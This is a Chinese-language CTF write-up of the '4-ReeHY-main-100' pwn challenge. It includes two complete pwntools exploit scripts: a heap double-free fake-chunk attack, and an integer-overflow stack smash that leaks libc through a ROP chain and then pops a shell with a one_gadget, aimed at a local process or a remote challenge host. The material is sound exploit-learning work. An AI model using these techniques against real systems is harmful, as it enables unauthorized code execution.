4-ReeHY-main-100 一道题学到了很多的知识

先说一下参考链接 https://bbs.pediy.com/thread-218300.htm

然后这个题 其实可以按堆的解法来做 也可以按照 栈的解法来做 这个要看自己的做法了

然后我首先看的是堆的解法 一开始我的想法是 直接 double free直接 到 heap_user 但是失败了

然后看了这篇帖子感觉受益匪浅 然后写篇这个帖子来记录一下

4-ReeHY-main-100 一道题学到了很多的知识_第1张图片

然后 那篇帖子其实讲的很明白 我就不多讲了  利用的就是 linux 里面的堆的机制  然后 让 hp[2].addr = (&hp[0]+8)

 

然后直接 就可以 操控了 。。。 下面是我参考上面链接 写的脚本

#coding:utf-8
from pwn import *
context.log_level='debug'


io=process("./4-ReeHY-main")
elf=ELF("./4-ReeHY-main")
libc=ELF("./libc-2.23.so")
'''


'''
def add(size,cun,content):
	io.recvuntil('******************************\n')
	io.sendline('1')
	io.recvuntil('Input size\n')
	io.sendline(str(size))
	io.recvuntil('Input cun\n')
	io.sendline(str(cun))
	io.recvuntil("Input content\n")
	io.sendline(content)

def dele(cun):
	io.recvuntil('******************************\n')
	io.sendline('2')
	io.recvuntil("Chose one to dele\n")
	io.sendline(str(cun))

def edit(cun,content):
	io.recvuntil('******************************\n')
	io.sendline('3')
	io.recvuntil('Chose one to edit\n')
	io.sendline(str(cun))
	io.recvuntil('Input the content\n')
	io.sendline(content)

def init(content):
	io.recvuntil('Input your name: \n')
	io.sendline(content)
if __name__ =="__main__":
	init('pipixia')
	add(0x30,0,'aaaa')
	add(0x30,1,'bbbb')
	#add(0x30,2,'cccc')
	dele(0)
	dele(1)
	dele(0)
	fake_chunk_addr=0x6020C2-8
	add(0x30,0,p64(fake_chunk_addr))
	add(0x30,1,'bbbb')
	add(0x30,0,'cccc')
	#gdb.attach(io)
	add(0x30,2,'dddd')
	#gdb.attach(io)
	io.interactive()
	io.close()

然后下面就是 非预期解法  大概思路就是

  1. 整数溢出绕过绕过size检查进行栈溢出
  2. 栈溢出leak掉libc
  3. 栈溢出实行one_gadget拿到shell

 

下面是脚本

#coding:utf-8
from pwn import *
#context.log_level='debug'
native=1
if native==1 :
    io=process('./4-ReeHY-main')
    libc=ELF('/home/keer/桌面/glibc-2.19/glibc-2.19/_debug/lib/libc-2.19.so')
    libc_one_gadget_addr=0xcf89a
else :
    io=remote('111.198.29.45',51162)
    libc=ELF('./libc-2.23.so')
    libc_one_gadget_addr=0x45216
elf=ELF('./4-ReeHY-main')

io.sendlineafter('$ ','1234')

def add(a,b,c):
    io.sendlineafter('$ ','1')
    io.sendlineafter('Input size\n',str(a))
    io.sendlineafter('Input cun\n',str(b))
    io.sendlineafter('Input content',c)
pop_rdi=0x400da3
main_addr=0x400c8c

add(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main_addr))

io.recv()
puts_addr=u64(io.recv()[:6].ljust(8,'\x00'))
log.success('puts_addr:'+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
one_gadget_addr=libc_base+libc_one_gadget_addr
log.success('libc_base:'+hex(libc_base))
log.success('one_gadget_addr:'+hex(one_gadget_addr))
io.sendline('1234')
add(-1,1,'a'*0x88+'\x00'*0x8+'a'*0x8+p64(one_gadget_addr))

io.interactive()

 

你可能感兴趣的:(栈溢出,堆溢出)